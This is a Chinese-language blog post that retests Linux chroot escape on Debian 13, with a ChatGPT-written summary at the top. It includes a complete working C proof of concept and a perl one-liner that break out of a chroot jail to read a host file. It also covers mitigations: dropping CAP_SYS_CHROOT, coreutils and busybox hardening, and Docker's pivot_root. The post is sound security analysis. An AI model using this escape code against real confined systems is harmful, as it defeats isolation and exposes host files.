AI 摘要(由 ChatGPT 总结生成):
本文对 Linux chroot 逃逸做了现状复测。先阐明 chroot 仅修改 `fs->root` 指针,通过让 cwd 位于新根之上即可使 `..` 截停失效。经典 C PoC 逃逸成功,且证实清空 CAP_SYS_CHROOT 可防御。内核维护者视其为预期行为不予修复。实测发现 coreutils 9.x 封堵 `--skip-chdir`、busybox 强制 chdir 断链,仅 perl 裸调系统调用可绕;而 Docker 因 runc 使用 pivot_root,chroot 逃逸已架构性失效。附带验证 mknod、写穿 /etc/hosts 两个误区均不成立。

最近看到 chroot 相关的文章。然后深入了解一下,发现提及了 chroot 逃逸相关的,来了兴趣,尝试复现了一下,便将相关过程记录下来。

演示的机器环境为 Debian 13,内核 6.12.101,coreutils 9.7,busybox 1.37。不同发行版可能存在差异,但原理通用。

一、原理

chroot 是 Linux 的一个系统调用,用于将进程的根目录(/)切换至指定目录,此后该进程及其子进程对文件系统的访问便会被限制在这棵新目录树内。它常被用来构建最小化的运行或修复环境,但本身并不具备资源隔离能力——不隔离网络、进程与用户,因此仅靠 chroot 构不成真正的安全边界。

明白了这点,再来看 chroot 逃逸的原理就顺理成章了:chroot(2) 仅修改进程的 fs->root 指针,不改变 cwd——进程在内核中通过 fs_struct 维护根目录(root)与当前工作目录(pwd)两个关键状态,chroot 只替换前者。而路径解析中 .. 的截停规则是:仅当 cwd 与进程 root 相同时,.. 才停止向上解析。因此只要让 cwd 位于新根之上,.. 的约束即失效,进程即可沿目录树向上越过监狱边界。逃逸的核心思路即在于此:制造 cwd 位于新根之上的状态

二、经典 C PoC 测试

首先以经典的双 chroot 手法验证。编写 PoC 如下:

#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/stat.h>

int main(void)
{
    const char *marker = "/tmp/outside-marker.txt";
    char buf[128] = {0};

    mkdir("sub", 0755);

    if (chroot("sub") != 0) {                    /* 二次 chroot, root=sub */
        printf("[X] chroot: %s\n", strerror(errno));
        return 3;
    }
    chdir("../../../../../../");                 /* cwd 位于新根之上, .. 向上爬 */

    if (chroot(".") != 0) {                      /* 将根重锚定到外部 */
        printf("[X] chroot(.): %s\n", strerror(errno));
        return 4;
    }

    int fd = open(marker, O_RDONLY);
    if (fd < 0) { printf("[RESULT] FAIL\n"); return 5; }
    ssize_t n = read(fd, buf, sizeof(buf) - 1);
    close(fd);
    printf("[RESULT] ESCAPED: %.*s", (int)n, buf);
    return 0;
}

编译为静态二进制后放入 jail,以 chroot /tmp/chroot-test/jail /poc 执行,输出如下:

[*] mode: full root caps kept
[*] chroot("sub") ok, root=jail/sub, cwd=jail (above root)
[*] climbed up via '..' past the jail boundary
[*] chroot(".") ok, root is now OUTSIDE the jail
[RESULT] ESCAPED. host marker file content: SECRET-FROM-HOST-debian-13

宿主机标记文件被成功读取。关键位于第二行:二次 chroot 之后,cwd 仍停留在原 jail 根(即新根之上),.. 的截停检查随之失效。

同时验证了防御手段:清空 CAP_SYS_CHROOT 后重新执行:

[*] mode: all capabilities DROPPED
[X] chroot("sub"): Operation not permitted
[RESULT] BLOCKED (expected in drop-cap mode)

第一次 chroot 即返回 EPERM,逃逸链在首步被切断。可见移除 CAP_SYS_CHROOT 是抵御该逃逸最直接的手段,下文会再次提及。

三、内核不修复?

逃逸复现后,遂去检索了内核社区的相关讨论。维护者在 LKML 中的表态可以概括为:chroot 的逃逸路径过多(cwd、/proc/*/cwd、fchdir、ptrace 等),为修复这些问题而破坏 POSIX 兼容性得不偿失,安全投入应集中于容器方案本身。换言之,chroot 从设计上就不是安全边界,这一结论在当前内核版本中依然成立,属于预期行为。

四、shell 命令逃逸尝试

C 语言可逃逸,那么仅依赖 shell 命令能否实现呢?遂尝试一下。

4.1 coreutils 9.x 封堵 --skip-chdir

shell 中 chroot 依赖外部命令。coreutils 的 chroot 提供了 --skip-chdir 选项,理论上可用于保留 cwd。然而实测直接被拒绝:

$ chroot --skip-chdir sub /busybox echo OK
chroot: option --skip-chdir only permitted if NEWROOT is old '/'
Try 'chroot --help' for more information.

该限制源自 coreutils 9.1(2022 年)新增的安全加固:--skip-chdir 仅允许在 NEWROOT 为字面 / 时使用,实质上废除了该选项。随后尝试 .// 及绝对路径,均被拦截。旧教程中依赖 --skip-chdir 的逃逸方法已全部失效。

4.2 busybox chroot 强制 chdir

改用 busybox 的 chroot,其帮助信息显示:

Usage: chroot NEWROOT [PROG ARGS]

busybox chroot 不提供 --skip-chdir 选项,且实现上会在 chroot 成功后立即执行 chdir("/")。通过 strace 跟踪确认:

……
chroot("sub")                           = 0
chdir("/")                              = 0
execve("/busybox", ["/busybox", ...])   = -1 ENOENT (No such file or directory)
……

chroot("sub") 成功紧接着 chdir("/"),cwd 被拉回新根。此时 cwd 与 root 重合,.. 被截停,逃逸链失效。可见 busybox 在实现层面已破坏"cwd 位于新根之上"这一前提。

4.3 通过解释器裸调系统调用

标准命令均被堵死,可行的替代思路是寻找能够"仅调用 chroot(2) 而不修改 cwd"的执行环境。perl 的 chroot() 与 python 的 os.chroot() 均为系统调用的裸封装,不会附带 chdir 行为。以 perl 执行相同的逃逸链:

perl -e '
    chroot("jail3");
    chdir("/");
    chroot("sub");
    chdir("../../..");
    chroot(".");
    open(F,"<","/tmp/outside-marker.txt");
    print <F>;
'

执行结果:

chroot(sub) ok, cwd outside new root
HOST FILE: SECRET-FROM-HOST-debian-13

逃逸成立。结论是:coreutils 与 busybox 两条标准命令路径均已被封堵,但通过解释器裸调系统调用,逃逸依然可行。shell 内建命令本身不具备 chroot 能力,因此"纯 shell 命令"逃逸需要借助 perl/python 这类提供系统调用裸封装的环境。

五、容器场景

既然普通 jail 可逃逸,那么容器内套一下看看会发生什么情况呢?遂将同一 C PoC 放入普通 alpine 容器(非特权、默认配置)执行:

[*] chroot("sub") ok, root=jail/sub, cwd=jail (above root)
[*] climbed up via '..' past the jail boundary
[*] chroot(".") ok, root is now OUTSIDE the jail
[RESULT] FAIL: cannot open /tmp/outside-marker.txt (No such file or directory), still confined?

逃逸链各步骤均返回成功,但最终打开宿主文件失败。检查逃逸后的 /etc/hostname

escaped-root /etc/hostname = 3fd701287b6a

3fd701287b6a 为容器自身 ID,而非宿主机 hostname(debian-13)。说明目录遍历一圈后仍回到容器根。

根因在于 runc 启动容器时使用 pivot_root 而非 chroot。两者差异显著:

  • chroot 仅替换进程的 root 指针,目录树仍为同一棵,向上解析 .. 可回到宿主;
  • pivot_root 将容器 overlay 根整体切换为独立挂载树,旧宿主根被移出容器 namespace 的可见范围。

因此在容器内无论如何 chroot 换根,都只能在同一棵容器树内进行,物理上无法到达宿主目录树。这一点在多数 chroot 逃逸相关文章中未被提及:chroot 逃逸的适用对象是裸 chroot jail(如 chroot 命令构建的环境),Docker 容器因 pivot_root 的存在,该路径已被架构性封死。

六、两个误区验证

验证过程中顺带对两个流传较广的说法进行了测试。

6.1 mknod 读取宿主磁盘

容器内以 root 执行 mknod 可以成功创建设备节点:

mknod OK (node created)

但读取时被拦截:

dd: can't open '/hostdisk': Operation not permitted
head: /hostdisk: Operation not permitted

内核 device cgroup 在 open() 阶段即阻止访问,节点虽可创建但无法使用,无法读取宿主磁盘。

6.2 写入 /etc/hosts 穿越

容器内以 root 向 /etc/hosts 追加内容可以成功:

echo "#PWNED" >> /etc/hosts

但宿主侧校验文件哈希未发生变化:

===> HOST FILES UNCHANGED: 写穿失败

原因在于 Docker 对 /etc/hosts、/etc/resolv.conf、/etc/hostname 三个文件进行了特殊处理,容器内绑定挂载的是 /var/lib/docker/containers/<容器ID>/ 目录下的副本,而非宿主真实文件。容器内的修改仅作用于副本,不影响宿主。

七、小结

当前环境下 chroot 逃逸存在三层防护:

  1. coreutils 9.x 封堵 --skip-chdir,旧教程方法失效;
  2. busybox chroot 强制 chdir("/"),从实现层面切断逃逸链;
  3. Docker 容器基于 pivot_root,使 chroot 逃逸在容器场景直接失效。

仍存在的通道为"裸 chroot jail + 解释器裸调系统调用",即 perl 的 chroot() 一类环境。该通道可通过移除 CAP_SYS_CHROOT 关闭。

综合来看,chroot 逃逸在现代环境中已显著受限,其定位应为文件系统视图切换工具,而非安全边界。真正需要隔离时,仍应依赖 namespace、cgroup 与 seccomp 的组合方案。

End

本文标题:chroot逃逸小记

本文链接:https://www.isisy.com/1595.html

除非另有说明,本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议

声明:转载请注明文章来源。

如果觉得我的文章对你有用,请随意赞赏